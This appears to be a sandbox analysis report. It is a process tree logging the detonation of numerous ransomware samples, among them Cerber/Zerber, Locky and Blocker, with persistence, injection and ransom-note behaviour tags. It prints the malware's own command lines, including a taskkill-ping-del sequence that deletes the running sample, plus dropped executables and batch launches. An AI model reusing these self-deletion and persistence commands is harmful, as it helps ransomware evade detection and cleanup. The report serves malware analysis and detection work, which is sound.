- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "Trojan-Ransom.Win32.Zerber.dhg-b0697ec9eeec95dc0d07b0d339bcd2577e07ef27dce3d2ac62e55ab32b5a75ff.exe" > NUL & ping -n 1 127.0.0.1 > NUL & del "C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.dhg-b0697ec9eeec95dc0d07b0d339bcd2577e07ef27dce3d2ac62e55ab32b5a75ff.exe" > NUL6⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im "Trojan-Ransom.Win32.Zerber.dhg-b0697ec9eeec95dc0d07b0d339bcd2577e07ef27dce3d2ac62e55ab32b5a75ff.exe"7⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.17⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.gre-9f39b703428343ea6f5b8f83307bc03f5914ac168aa86acd7214a85badc2ca40.exeTrojan-Ransom.Win32.Zerber.gre-9f39b703428343ea6f5b8f83307bc03f5914ac168aa86acd7214a85badc2ca40.exe5⤵
- Cerber
- Adds policy Run key to start application
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "Trojan-Ransom.Win32.Zerber.gre-9f39b703428343ea6f5b8f83307bc03f5914ac168aa86acd7214a85badc2ca40.exe" > NUL & ping -n 1 127.0.0.1 > NUL & del "C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.gre-9f39b703428343ea6f5b8f83307bc03f5914ac168aa86acd7214a85badc2ca40.exe" > NUL6⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im "Trojan-Ransom.Win32.Zerber.gre-9f39b703428343ea6f5b8f83307bc03f5914ac168aa86acd7214a85badc2ca40.exe"7⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.17⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\dccw.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\dccw.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "Trojan-Ransom.Win32.Zerber.gre-9f39b703428343ea6f5b8f83307bc03f5914ac168aa86acd7214a85badc2ca40.exe" > NUL & ping -n 1 127.0.0.1 > NUL & del "C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.gre-9f39b703428343ea6f5b8f83307bc03f5914ac168aa86acd7214a85badc2ca40.exe" > NUL6⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im "Trojan-Ransom.Win32.Zerber.gre-9f39b703428343ea6f5b8f83307bc03f5914ac168aa86acd7214a85badc2ca40.exe"7⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.17⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.jnu-e5ba39b9b74ad9ac430c915c3fb3b93584f4ad16b03a10a2436b4ce9b66f1da5.exeTrojan-Ransom.Win32.Zerber.jnu-e5ba39b9b74ad9ac430c915c3fb3b93584f4ad16b03a10a2436b4ce9b66f1da5.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 2966⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.svc-085087c7776992c63052994a24afe8aaed428112d03f1a4e0f476e9889cd7a7a.exeTrojan-Ransom.Win32.Zerber.svc-085087c7776992c63052994a24afe8aaed428112d03f1a4e0f476e9889cd7a7a.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.vu-f23b33e9204ea79c3dd5a54fa57f2b97709ba30a06fb01f869e1ab06919a0a9a.exeTrojan-Ransom.Win32.Zerber.vu-f23b33e9204ea79c3dd5a54fa57f2b97709ba30a06fb01f869e1ab06919a0a9a.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.vu-f23b33e9204ea79c3dd5a54fa57f2b97709ba30a06fb01f869e1ab06919a0a9a.exeTrojan-Ransom.Win32.Zerber.vu-f23b33e9204ea79c3dd5a54fa57f2b97709ba30a06fb01f869e1ab06919a0a9a.exe6⤵
- Cerber
- Adds policy Run key to start application
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Modifies Control Panel
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "Trojan-Ransom.Win32.Zerber.vu-f23b33e9204ea79c3dd5a54fa57f2b97709ba30a06fb01f869e1ab06919a0a9a.exe" > NUL & ping -n 1 127.0.0.1 > NUL & del "C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.vu-f23b33e9204ea79c3dd5a54fa57f2b97709ba30a06fb01f869e1ab06919a0a9a.exe" > NUL7⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im "Trojan-Ransom.Win32.Zerber.vu-f23b33e9204ea79c3dd5a54fa57f2b97709ba30a06fb01f869e1ab06919a0a9a.exe"8⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.18⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "Trojan-Ransom.Win32.Zerber.vu-f23b33e9204ea79c3dd5a54fa57f2b97709ba30a06fb01f869e1ab06919a0a9a.exe" > NUL & ping -n 1 127.0.0.1 > NUL & del "C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.vu-f23b33e9204ea79c3dd5a54fa57f2b97709ba30a06fb01f869e1ab06919a0a9a.exe" > NUL7⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im "Trojan-Ransom.Win32.Zerber.vu-f23b33e9204ea79c3dd5a54fa57f2b97709ba30a06fb01f869e1ab06919a0a9a.exe"8⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.18⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5068 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3676 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3616 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4816 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4020 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6516 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4732 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1276 /prefetch:14⤵
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /12⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exeC:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3704 -ip 37041⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3336 -ip 33361⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\werfault.exewerfault.exe /h /shared Global\d99e8d4a1a45456b8b590b1b6e3d76dc /t 1060 /p 47561⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\gpresult.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\gpresult.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\dccw.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\dccw.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x4ec 0x4981⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Drops startup file
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Purga.p-25aa2980ba724f212ca7292f968ded935760ba0a5b5562c3702e3572342089a3.exe"C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Purga.p-25aa2980ba724f212ca7292f968ded935760ba0a5b5562c3702e3572342089a3.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Locky.hy-ddb80a24da8bec08eeac77e0a7ea13e48805a302290555d4bcb5d86d9080b13c.exe"C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Locky.hy-ddb80a24da8bec08eeac77e0a7ea13e48805a302290555d4bcb5d86d9080b13c.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Locky.cfh-530326ed9cafede731a478242b0f1f13f7263c1bec156adb2f3f26132667464d.exe"C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Locky.cfh-530326ed9cafede731a478242b0f1f13f7263c1bec156adb2f3f26132667464d.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Locky.cfh-530326ed9cafede731a478242b0f1f13f7263c1bec156adb2f3f26132667464d.exe"C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Locky.cfh-530326ed9cafede731a478242b0f1f13f7263c1bec156adb2f3f26132667464d.exe"3⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BDAC\5ED6.bat" "C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe" "C:\Users\Admin\Desktop\00269\TR959A~1.EXE""4⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"5⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "" > NUL & ping -n 1 127.0.0.1 > NUL & del "" > NUL7⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im ""8⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.18⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C ""C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe" "C:\Users\Admin\Desktop\00269\TR959A~1.EXE""5⤵
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"6⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "" > NUL & ping -n 1 127.0.0.1 > NUL & del "" > NUL8⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im ""9⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.19⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe" "C:\Users\Admin\Desktop\00269\TR959A~1.EXE"6⤵
-
C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"7⤵
-
-
C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"7⤵
-
-
C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"7⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe8⤵
-
-
-
-
-
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Foreign.ngmm-dfef0ef6449c8dfde93a161cda3cc821cb9d6e83910197fd828189d94b27bd02.exe"C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Foreign.ngmm-dfef0ef6449c8dfde93a161cda3cc821cb9d6e83910197fd828189d94b27bd02.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\fud.bat" "3⤵
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"4⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "" > NUL & ping -n 1 127.0.0.1 > NUL & del "" > NUL6⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im ""7⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.17⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\tut.sfx.exetut.sfx.exe -p123 -dC:\Users\Admin\AppData\Local\Temp4⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\tut.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\tut.exe"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /k HOSTNAME6⤵
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"7⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"8⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "" > NUL & ping -n 1 127.0.0.1 > NUL & del "" > NUL9⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im ""10⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.110⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\HOSTNAME.EXEHOSTNAME7⤵
-
-
-
-
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Foreign.hamq-686d991ce763e683ea6ee0f0202681364e8f55efb02c312a59e599b5abb547fd.exe"C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Foreign.hamq-686d991ce763e683ea6ee0f0202681364e8f55efb02c312a59e599b5abb547fd.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 6283⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Blocker.jovc-a900b335b9ad0363630d9517d99d4f636b84a538f40acfd6dff9391702d30c9f.exe"C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Blocker.jovc-a900b335b9ad0363630d9517d99d4f636b84a538f40acfd6dff9391702d30c9f.exe"2⤵
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Blocker.jkzx-d124c89b0a5a9b1f56f9176c2c412aa1ed2dda64566df4f499105705ea75da4e.exe"C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Blocker.jkzx-d124c89b0a5a9b1f56f9176c2c412aa1ed2dda64566df4f499105705ea75da4e.exe"2⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\setting.ini2⤵
- Opens file in notepad (likely ransom note)
-
-
